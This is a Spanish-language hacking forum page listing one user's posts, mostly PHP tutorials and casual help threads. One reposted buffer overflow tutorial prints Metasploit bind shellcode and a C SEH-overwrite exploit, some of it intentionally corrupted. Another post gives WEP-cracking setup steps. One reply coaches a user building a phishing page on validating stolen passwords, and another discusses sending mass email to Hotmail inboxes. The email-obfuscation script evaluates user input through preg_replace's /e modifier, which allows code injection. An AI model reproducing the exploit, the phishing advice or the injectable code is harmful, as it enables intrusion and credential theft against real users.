Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - HckDrk

#41
hola todos! no se me ocurria como nombrar el post! XD

he tenido la experiencia de que los bots que indagan por las webs, buscando correos para hacer publicidad no deseada (spam), y me mandan correos... a partir de eso, se me ocurrió hacer un script que detecta con expresiones regulares el correo dentro de una cadena de texto, pasa por rot13 el correo, y muestra una imagen en vez del correo

aquí les dejo mi sencillo y pequeño script, que cuenta con 2 archivos, el index, y el archivo donde se generará la imagen...

index.php:
Código: php

<html>
<head>
<title>Cambia correo por imagen</title>
</head>
<body bgcolor="black" text="white">
<form method="post" action="">
<textarea cols="50" rows="20" name="contenido"><?php echo htmlentities($_POST['contenido']); ?></textarea><br>
<input type="submit" value="enviar" name="enviar">
</form>
<?php


function correo_img($correo){

$ss= '/(\S+@\S+\.\S+)/ie';
$resultado= preg_replace($ss,"str_rot13('$1')", $correo);
$s= '/(\S+@\S+\.\S+)/i';
$r = "<img src='imagen.php?text=$1&color=w'>";
$resultado= preg_replace($s, $r, $resultado);

return $resultado;

}


if($_POST['enviar']){


$contenido=htmlentities($_POST['contenido']);
$contenido=str_replace("\n", "<br>\n", $contenido);
echo correo_img($contenido);


}

?>
</body>
</html>




imagen.php
Código: php

<?php

$text=str_rot13(strip_tags($_GET['text']));
$color=strip_tags($_GET['color']);


header("Content-Type: image/png");
if($color!="b" && $color!="w"){
$width=55;
}else{
$width=strlen($text)*10;
}
$imagen = @imagecreate($width, 20);

if($color=="b"){
$color_fondo = imagecolorallocate($imagen, 0, 0, 0);
$color_texto = imagecolorallocate($imagen, 255, 255, 255);
}else if($color=="w"){
$color_fondo = imagecolorallocate($imagen, 255, 255, 255);
$color_texto = imagecolorallocate($imagen, 0, 0, 0);
}else{
$color_fondo = imagecolorallocate($imagen, 255, 255, 255);
$color_texto = imagecolorallocate($imagen, 255, 0, 0);
$text="error!";
}

imagestring($imagen, 5, 5, 6,  $text, $color_texto);
imagepng($imagen);
imagedestroy($imagen);

?>



si desean ver su funcionamiento, aqui les dejo un demo...
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos!
#42
Back-end / Re:evitar injeccion SQL
Enero 27, 2013, 01:16:41 PM
bueno XD

aquí les dejo unos ejemplos de como se podría evitar con ctype_alnum()

una forma seria eliminando cualquier carácter que no sea alfanumérico...

Código: php
	

function limpiar($cadena){

for($i=0;$i<strlen($cadena);$i++){
if(ctype_alnum($cadena[$i])){
$cadena_l.=$cadena[$i];
}
}

return $cadena_l;
}


echo "Busqueda de <b>".limpiar($_GET['search'])."</b>";


así si intentamos una inyección de esta forma No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
nos mostraría lo siguiente: "Búsqueda de 1unionselect1"


o simplemente mostramos un mensaje de error


Código: php

if(ctype_alnum($_GET['search'])){
echo "Busqueda valida de <b>".strip_tags($_GET['search'])."</b>"; //ya no haria falta la funcion strip_tags, ya que con ctype_alnum() valida si contiene otros caracteres, sino muestra error, pero es costumbre y no va de mas un poco mas de seguridad XD
}else{
echo "Error! Busqueda(query, consulta, etc.) invalida!";
}


asi si introducimos alguna inyección nos mostrara error.

bueno, esta es mi forma en que evitaría un sqli, tal vez no sea la mejor forma, cada quien tiene sus métodos, en fin...

Saludos!  ;D
#43
Back-end / Re:evitar injeccion SQL
Enero 26, 2013, 11:51:50 PM
para validar string con solo caracteres alfanuméricos pueden hacer uso de ctype_alnum()

mas info de la función en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos!
#44
Off Topic / Re:De que pais eres?
Enero 17, 2013, 01:53:38 AM
de México!

quieren saber que es México con una canción? XD



dejando de lado lo malo, como dice mi compatriota okol, México es un gran país, lleno de tradición, cultura, y una bastante biodiversidad y muchas cosas mas de lo cual estar orgulloso de ser mexicano...





aquí les dejo un muy buen video...



espero que vean los videos que puse, un saludo a todos!  ;D
#45
Back-end / [Videotutorial] Editor de archivos en PHP
Enero 03, 2013, 04:48:29 PM
Aqui les dejo mi segundo Videotutorial, no me base en ninguna idea para hacerlo!

tiene acercamiento en el codigo para que se vea mejor, lo subi en HD, para que se vea aun mejor! :p

espero les guste y si tienen duda me dicen, saludos!  ;D

#46
Off Topic / ¿Que música es la que mas les gusta?
Enero 03, 2013, 02:58:57 PM
Hola todos!

abro este post para que compartamos la música que mas nos agrada, o que mas escuchamos XD
a mi me gusta bastante el Psytrance, aunque también escucho ska y un poco de rock y metal.

aqui dejo unos videos de unas de mis canciones prefreridas..





Saludos! espero que compartan su música! :P
#47
Presentaciones y cumpleaños / Re:Hola a todos/as
Enero 03, 2013, 12:34:05 PM
bienvenido!

espero que puedas aprender bastante y compartirnos tus conocimientos!

un saludo!
#48
que bueno que les haya gustado

hace bastante tiempo que no hacia un videotuto así que estoy algo oxidado, los siguientes tratare de que tenga mejor calidad y se pueda apreciar bien el código.

Saludos compañeros!

#49
Back-end / Videotutoial de un sistema de modulos PHP
Enero 02, 2013, 01:29:11 PM
Hola todos!

mi bro xt3mp hace tiempo hizo unos tutoriales básicos, tomare algunas ideas para empezar a hacer videotutoriales, alrato subo el link del vídeo en HD y edito el post, por que youtube le bajo bastante la calidad! >.<



En este tutorial aprenderémos a como llevar acabo una modulación, al meter variable por método "GET" incluimos alguna página en específico, por ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

bueno, espero lo entiendan y si tienen dudas me dicen, saludos!

#50
el HTMLi no es mas que un XSS,

aqui te dejo una cita de Wikipedia, traducida con google!  ;D

Cita de: wikipediaHTML-script inyección (cross-site scripting)  es un tema popular, comúnmente denominado "Cross-Site Scripting", o "XSS". XSS se refiere a una falla de inyección mediante el cual se coloca la entrada del usuario a una web script o algo a lo largo de estas líneas en el HTML de salida, sin ser controlado por el código HTML o scripts.
#51
Dudas y pedidos generales / Re:Ayuda con la ram
Diciembre 25, 2012, 12:36:52 PM
en teoría, debería soportar los 4GB

Citar
La capacidad que el procesador tiene, para direccionar memoria, es decir, asignarle a cada byte un sitio determinado, depende del bus de dirección y la capacidad de éste, depende del nº de bits que lo forman, calculándose de la siguiente manera: 2^n(2 elevado a n), donde n representa el nº de bits y el 2 viene dado por las dos variables posibles (1 y 0)
            Esto quiere decir que  un procesador de 32 bits puede mapear( direccionar):
2^32=4294967296 bytes=4194304 KB=4096 MB= 4 GB

aveces te aparece menos ram por algún motivo, por ejemplo,  por que lo puedes estar usando como tarjeta gráfica, así nunca te aparecerá el total de la ram

pero como dice antrax, prueba tu OS de 64 bits, pero solo si tu procesador es de 64 bits, a ver si se soluciona XD

Saludos! (:
#52
Dudas y pedidos generales / Re:problema con hdmi
Diciembre 12, 2012, 02:44:58 PM
uhm...

bueno, en mi caso siempre hago lo siguiente XD

en la TV, elijo el método de entrada de HDMI, después en tu laptop, presiona el boton Windows sin dejar de apretar, presiona P, elije el que tu quieras, yo casi siempre lo uso en proyector (claro, esto es para windows, no tengo ni idea de Linux o Mac xD)

yo nunca baje drivers ni nada! :P

@Subzer, creo que el cable que hablas es VGA

Saludos!
#53
va a estar difícil enviar 100 000 correos a inbox de hotmail XD
hay varias cosas.. hace tiempo tenia un hosting e "inunde" a lo mucho con 300 correos y me bloquearon la función mail() para enviar correos, pregunte a soporte técnico y me dijeron que habia uso mal intencionado, que por eso me la deshabilitaron! XD

mediante smtp, los servidores, también tendrías que contratar un hosting, por que los de google, hotmail, y demás.. son limitados, y creo que seria lo mismo, te lo deshabilitarian, por uso mal intencionado XD

podrías crear tu propio servidor smtp, pero es algo mas complicado XD, configuar tu servidor, puertos, etc..

y la ultima, hotmail, rechazara tantos correos de la misma ip, tal vez algunos entren a inbox, otros a spam, y ya otros ni entraran XD

eso es lo que pienso, y tal vez este equivocado,  pero bueno, veamos lo que dicen los demas!

Saludos!  ;D

--------------------------
#54
alguna otra alternativa?
yo probe con unetbootin, y no me bootea! D:

con LILI, solo se puede instalar en FAT o FAT32, y yo quiero mi memoria en formato NTFS, ya que he probado con otros distros, y no puedo bootear con formato FAT32, solo con NTFS

me podrian ayudar?  ;D
Saludos!
#55
Hola de seguro algunos ya han escuchado hablar sobre esta vulnerabilidad, pero en algunas veces no nos ah quedado claro del todo, bueno aquí intento explicar lo mas que se pueda,

Un Buffer Overflow se provoca inyectando código sobrante en la pila.
La pila es donde se guardan las instrucciones que se ejecutarán, incluyendo las funciones, los procedimientos, etc...

Supongamos el siguiente fragmento de código en C

Código: c

#include <conio.h>
//Hola soy th3d4rkw4rl0ck y este es un ejemplo de Buffer Overflow

void ejemplodebuffer()
{
  char buffer[10];
  printf("Introduce el nombre del fichero\n");
  scanf("%s",&buffer);
  printf("Has escrito %s", buffer);

}
int main()
{
 
  printf("Hola este es un ejemple de buffer\n ");
  ejemplodebuffer();
  getch ();

}


El problema que nos encontramos aquí, como es lógico, es ¿que ocurre si al usuario le da por introducir más de 10 caracteres? Parece una pregunta fácil pero no lo es en absoluto y la mayor parte de las vulnerabilidades que se encuentran hoy en día pertenecen a este "tipo" de error. Obviamente nuestro buffer se va a desborda pero ¿que consecuencias tiene eso?

Para entender el problema hay que entender que está pasando a nivel interno (a nivel de código máquina) cuando declaramos el segmento de código anterior. A grandes rasgos  existen dos "áreas" principales de memoria en un programa, la pila o stack y el heap. La pila es, como su nombre indica, una pila de memoria en la que se van almacenando y recuperando datos de forma incremental, es decir, lo último que se inserta es lo primero que se recupera.

Ahora vamos a ver lo que pasaría si introducimos más de 10 caracteres en nuestro buffer. En primer lugar se llenarían esos 10 caracteres, en siguiente lugar se sobrescribiría el valor de retorno de la función y por último ufff  de desborda la pila. ¿Veis el problema?

y entonces ¿Como puedo encontrar los buffer overflow?
1.-Conocimientos de C y ensamblador.
2.-Un buffer que sea desbordable.
3.-Un shellcode en alguna zona de memoria.

PD ShellCode: Normalmente lo meteremos en la pila en el propio buffer desbordado, aunque no siempre es posible. Para localizar nuestro shellcode en memoria usaremos un depurador, (ollydbg, softIce). Ésto obliga a que la máquina a explotar sea la misma que la nuestra
Conocer la direccion de memoria del shellcode

y bueno para los que no conoces un ShellCode, eh aquí un ejemplo:

Código: c

#include<stdio.h>
#include<string.h>
#include<windows.h>

#define RET_ADDRESS 0x77FA8CD5 // XP RET On WinXP Sp1 English

// Stage1 Shellcode:
unsigned char stage1[]= "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFF\xE1";

// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ]  http://metasploit.com
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\x4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\xd\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\xe\xd9\xa6\x8\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x5\x7a\x7a\x9c\xb0\x55\xa6x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
\x5\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";

int main(int argc,char *argv[]){

char *bufExe[2];
char buf[1024]; //im using an extremly long buffer so an exception will occur and execute our shellcodes
bufExe[0] = "lameseh.exe";
bufExe[2] = NULL;

memset(buf,090,1024);
memcpy(&buf[60],shellcode,sizeof(shellcode));

*(unsigned long *)&buf[520] = 0x909006EB; //jmp to our stage1 shellcode (Push it backwards)
*(unsigned long *)&buf[524] = RET_ADDRESS;
memcpy(&buf[528],stage1,sizeof(stage1)-1);

bufExe[1] = buf;

//Execute the vulnerable application
execve(bufExe[0],bufExe,NULL);
return 0x0;
}


Código del programa.

// lameseh.c - talz

int ExceptionHandl er(void);
int main(int argc,char *argv[]){

        char temp[512];

if (argc != 2) exit(0);

__try {

        strcpy(temp,argv[1]);

        } __except ( ExceptionHandl er() ){
}
return 0;
}
int ExceptionHandl er(void){
printf("Exception");
return 0;
}


eh sacado esta shell code de internet, no recuerdo su autor pero como han visto al igual que los exploit tanto como los shellcode tienen fragmentos de lineas erróneos debido a que los autores consideran que así evitaran a los  script kiddies y lammers que hagan ataques, ya que solo lo compilarían y lanzarían el ataque.

si sabes programación C y algo de ASM podrás comprender y identificar los errores.

bueno espero que haya quedado claro

salu2

PD: este tuto lo eh hecho con ayuda de varios sitios como wikipedia (conceptos), monografias.com  y la shellcode, no recuerdo ya que lo tengo de hace tiempo, si alguien lo reconoce favor de informarme

Fuente: Antiguo Foro Inexistente(HackingTeam), Autor: TheDarkWarlock
#56
Seguridad Wireless / crackear wep en ubuntu [video]
Noviembre 24, 2012, 03:13:50 AM
Hola todos! hace tiempo estaba buscando algo para hacer esto, y encontré este vídeo, espero le entiendan, el vídeo dice que para ubuntu 11.10, pero yo use la versión 12.04, supongo que tambien servirá la versión 12.10, si alguien lo puede probar que nos diga! :P



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Link de descarga wepcrackgui:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para descargar el video en HD:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Asegurense de descomprimir el wepcrackgui en la carpeta personal

Antes que nada deben abrir terminal y tipear los siguientes comandos (sin comillas) :

"sudo apt-get install aircrack-ng"

"sudo apt-get update"

"sudo apt-get upgrade"

"sudo apt-get install git gtk-sharp2 libncurses5-dev gettext mono-dmcs pyrit"

"git clone No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"

"./configure && make"

Despues de esto, podras continuar con el video.

Videodemostracion de auditorias en redes inalambricas desde ubuntu utilizando las herramientas aircrack ng y GUI para aircrack.


Saludos!!
#57
Back-end / Manual sencillo de Expresiones Regulares en PHP
Noviembre 24, 2012, 02:11:59 AM
Las expresiones regulares son una potente herramienta que nos permite contrastar un texto con un patrón de búsqueda. Esta tarea resulta fundamental en algunos programas, y en otros puede facilitarnos increíblemente el trabajo.

PHP permite dos tipos principales de funciones para expresiones regulares: las de tipo ereg (Expresiones regulares POSIX) y las de tipo preg (Compatibles con Perl). Son muy similares, aúnque las segundas llegan a ser algo más potentes.

Una expresión regular, consiste en comparar un patrón frente a un texto, para comprobar si el texto contiene lo especificado en el patrón.

Por poner un par de ejemplos:

Patrón: in
Coindicen:


  • intensidad
  • cinta
  • interior

Patrón: [mp]adre
Coindicen:


  • Mi madre se llama Luisa
  • Tu padre es jardinero

A continuación voy a repasar la sintaxis básica de una expresión regular

Sintaxis y metacaracteres

El punto

El punto representa cualquier caracter. Escribiendo un punto en un patrón querrás decir que ahí hay un caracter, cualquiera. Desde la A a la Z (en minúscula y mayúscula), del 0 al 9, o algún otro símbolo.

Ejemplos:

ca.a coincide con cana, cama, casa, caja, etc...
No coincide con casta ni caa

Principio y fin de cadena

Si queremos indicar al patrón qué es el principio de la cadena o qué es el final, debemos hacerlo con ^ para inicio y $ para final.

Ejemplos:

"^olivas" coincide con "olivas verdes", pero no con "quiero olivas"

Cuantificadores

Para indicar que cierto elemento del patrón va a repetirse un número indeterminado de veces, usaremos + o * . Usando + queremos decir que el elemento anterior aparece una o más veces. Usando * queremos decir que el elemento anterior aparece cero o más veces.

Ejemplos:

"gafas+" coincide con "gafassss" pero no con "gafa"
sin embargo
"clo*aca" coincide con "claca", "cloaca", "cloooooooaca", etc..
Si lo que queremos indicar al patrón es que un elemento puede que esté (una vez) o puede que no, lo haremos con el interrogante de la siguiente forma:
"coches?" coincide con "coche" y con "coches"

Para definir la cantidad de veces que va a repetirse el elemento, tendremos que hacer uso de las llaves: { }, indicando en su interior el intervalo, o la cantidad exacta de veces que va a repetirse.

Ejemplos:

"abc{4}" coincide con "abcccc", pero no con "abc" ni "abcc", etc...
"abc{1,3}" coincide con "abc", "abcc", "abccc", pero no con "abcccc"

Si un parámetro queda vacío, significa "un número indeterminado". Por ejemplo: "x{5,}" significa que la x ha de repetirse 5 veces, o más.

Rangos

Los corchetes [] incluidos en un patrón permiten especificar el rango de caracteres válidos a comparar. Basta que exista cualquiera de ellos para que se de la condición. Dentro de ellos pondremos cualquier cantidad de caracteres, uno a continuación del otro; o un rango del abecedario o de los números enteros del 0 al 9.

Ejemplos:

"c[ao]sa" coincide con "casa" y con "cosa"
"[a-f]" coincide con todos los caracteres alfabéticos de la "a" a la "f"
"[0-9][2-6][ANR]" coincide con "12A", "35N", "84R", etc..
pero no con "21A", ni "33L", ni "3A", etc...

Dentro de los corchetes, hay que tener en cuenta que el símbolo ^ ya no significa inicio, sinó que es un negador, es decir: "[^a-Z]" coincidirá con cualquier texto que NO tenga ningún caracter alfabético (ni minúsculas ni mayúsculas), y "^@ " coincide con cualquier caracter excepto "@" y "espacio"

Alternancia


Para alternar entre varias opciones, usaremos el símbolo | (barra vertical, en los teclados suele ser "Alt Gr + 1″). Con este mecanismo haremos un disyuntor, que nos permitirá dar varias opciones. Si una de ellas coincide, el patrón será cierto.

Ejemplos:
"aleman(ia|es)" coincide con "alemania" y con "alemanes"
"(norte|sur|este|oeste)" coincide con cualquiera de los puntos cardinales.

Agrupadores

Los paréntesis nos sirven para agrupar un subconjunto. Como hemos visto en el ejemplo anterior, nos es útil para definir la alternancia, pero agrupar un subpatrón nos permite trabajar con él como si fuera un único elemento.

Ejemplos:

"(abc)+" coincide con "abc", "abcabc", "abcabcabc", etc
"ca(sca)?da" coincide con "cascada" y con "cada"

Escapar caracteres

Si por ejemplo quisiéramos que en el patrón hubiese un punto, o un símbolo asterisco, sin que se interprete como metacaracter, tendremos que "escaparlo". Esto se hace poniendo una barra invertida justo antes: \. o \*
Esto puede hacerse con cualquier caracter que quieras introducir de forma literal, y no interpretada.

Las funciones

Una vez tenemos clara la sintaxis, nos pondremos manos a la obra con el código. En este caso usaremos las funciones que nos proporciona PHP, aúnque la sintaxis es común a muchos lenguajes.

Funciones tipo POSIX

Existen seis funciones de este tipo, que son las siguientes:

ereg(). Devuelve true si se cumple el patrón, o false si no se cumple.
eregi(). Igual que ereg(), pero sin distinguir mayúsculas y minúsculas
ereg_replace(). Usando la potencia de las expresiones regulares, permite modificar una cadena de texto.
eregi_replace(). Igual que la anterior, sin distinguir minúsculas y mayúsculas.
split(). Divide una cadena en un array, según un patrón REGEX. Hace la misma tarea que la función explode, pero indicando una expresión regular como separador.
spliti(). Igual que el anterior, sin diferenciar minúscula y mayúscula.

Funciones tipo PCRE

Estas funciones son un poco más complejas, y consecuentemente más potentes. La diferencia más significativa en cuanto a sintaxis es que el patrón deberá estar delimitado por dos caracteres. Usualmente se usan barras ( / ), aunque podemos usar cualquier símbolo, como ( # ), sobretodo en un patrón que contenga barras. Otra diferencia importante son los modificadores.

preg_match(). Chequea el patrón en una cadena alfanumérica. Devuelve true si coincide, o false en caso contrario. Además captura las coincidencias en un array.
preg_match_all(). Igual que preg_match, pero almacenando todas las subcadenas que coincidan con el patrón (no sólo una como es el caso de preg_match)
preg_replace(). Nos permite reemplazar textos mediante expresiones regulares. Los argumentos pueden ser arrays, con lo que se realiza más de una sustitución con una sola función.
preg_split(). Separa la cadena dada mediante una expresión regular.
preg_grep(). Busca el patrón dentro de un array, y devuelve otro array con las ocurrencias.

Ejemplos prácticos

A continuación muestro algunos ejemplos de uso de estas funciones:
Uso sencillo de preg_match.

Código: php
<?php
// Este código lee la variable $documento (HTML), y encuentra un numero en negrita
$documento = '<h1>Numero</h1> <p>El numero es <strong>720</strong>, bla bla bla</p>';
preg_match("#<strong>([0-9]+)</strong>#is",$documento,$num);
$numero = $num[1];

echo $numero; // Devuelve 720
?>


Uso de la referencia hacia atrás en preg_match_all

Código: php
<?php
// El \\2 es un ejemplo de referencia hacia atrás. Este le dice a pcre
// que debe buscar el segundo conjunto de paréntesis en la expresión
// regular misma, que sería ([\w]+) en este caso. La barra invertida
// extra es requerida ya que la cadena se encuentra entre comillas
// dobles.
$html = "<b>texto en negrilla</b><a href=hola.html>haga clic aquí</a>";

preg_match_all("/(<([\w]+)[^>]*>)(.*)(<\/\\2>)/", $html, $coincidencias, PREG_SET_ORDER);

foreach ($coincidencias as $val) {
    echo "coincidencia: " . $val[0] . "\n";
    echo "parte 1: " . $val[1] . "\n";
    echo "parte 2: " . $val[3] . "\n";
    echo "parte 3: " . $val[4] . "\n\n";
}
?>


Simple comprobación con el patrón de IP

Código: php
<?php
// Funcion que comprueba si el dato pasado es una IP correcta
function ipValida($ip){
   if(!eregi("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$", $ip))
      return false;
   
   $tmp = explode(".", $ip);

      foreach($tmp as $sub){
              $sub = $sub * 1;
                if($sub<0 || $sub>256) return false;
      }

   return true;
}
?>


Referencias

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, lectura muy recomendada
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, si tienes curiosidad y entiendes inglés.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, para no reinventar la rueda.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta del manual oficial.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta del manual oficial.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en Wikipedia
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en Wikilearning


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#58
Back-end / Operadores en Php
Noviembre 24, 2012, 01:17:55 AM
OPERADORES EN PHP


Al desarrollar cualquier programa empleamos normalmente operadores que nos sirven para realizar diversas operaciones que le otorgan un cierto grado de complejidad a nuestros programas, ya que, de otro modo el programa realizaría siempre lo mismo y por tanto no seria un programa útil.



Operadores aritméticos
+   Suma dos valores
-   Resta dos valores (o pasa a negativo un valor)
*   Multiplica dos valores
/   Divide dos valores
%   Resto de dividir dos valores
++   Incremento en una unidad
--   Decremento en una unidad

Operadores de asignación
=   Asigna a la parte derecha el valor izquierdo
+=   Realiza la suma de la derecha con la izquierda y la asigna a la derecha
-=   Realiza la resta de la derecha con la izquierda y la asigna a la derecha
*=   Realiza la multiplicación de la derecha con la izquierda y la asigna a la derecha
/=   Realiza la división de la derecha con la izquierda y la asigna a la derecha
%=   Se obtiene el resto y se asigna
.=   Concatena el valor de la izquierda con la derecha y lo asigna a la derecha


Operadores lógicos
!   Operador NO o No tienes permitido ver los links. Registrarse o Entrar a mi cuenta era true pasa a false y viceversa
and   Operador Y, si ambos son verdaderos vale verdadero
or   Operador O, vale verdadero si alguno de los dos es verdadero
xor   Verdadero si alguno de los dos es true pero nunca ambos
&&   True si ambos lo son
||   True si alguno lo es

Operadores condicionales
==   Comprueba si dos números son iguales
===  Comprueba si dos números son iguales y del mismo tipo
!=   Comprueba si dos números son distintos
>   Mayor que, devuelve true en caso afirmativo
<   Menor que, devuelve true en caso afirmativo
>=   Mayor o igual
<=   Menor o igual

Fuente: forosdelweb
#59
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola, antes que nada gracias por la ayuda que brindan en este excelente foro,
En esta consulta, me preguntaba si existe  algun otro metodo que no sea Curl para que el scam solo guarde constraseñas reales y publique un mensaje de " contraseña incorrecta" cuando no lo es. De ser asi, se podria poner en el php del login (donde se guardan las contraseñas)?

saludos!

quieres todo hecho! >.< googleando puedes encontrar algo!, naaa mentira xD
lo puedes hacer con file_get_contents()... mírate este No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, es algo parecido a lo que quieres!

Saludos!
#60
Presentaciones y cumpleaños / Re:Me Presento
Noviembre 16, 2012, 01:00:20 AM
uhm.. bienvenido!  ;D

0x32 = 2 xD

espero puedas aprender mucho!
Saludos! ^^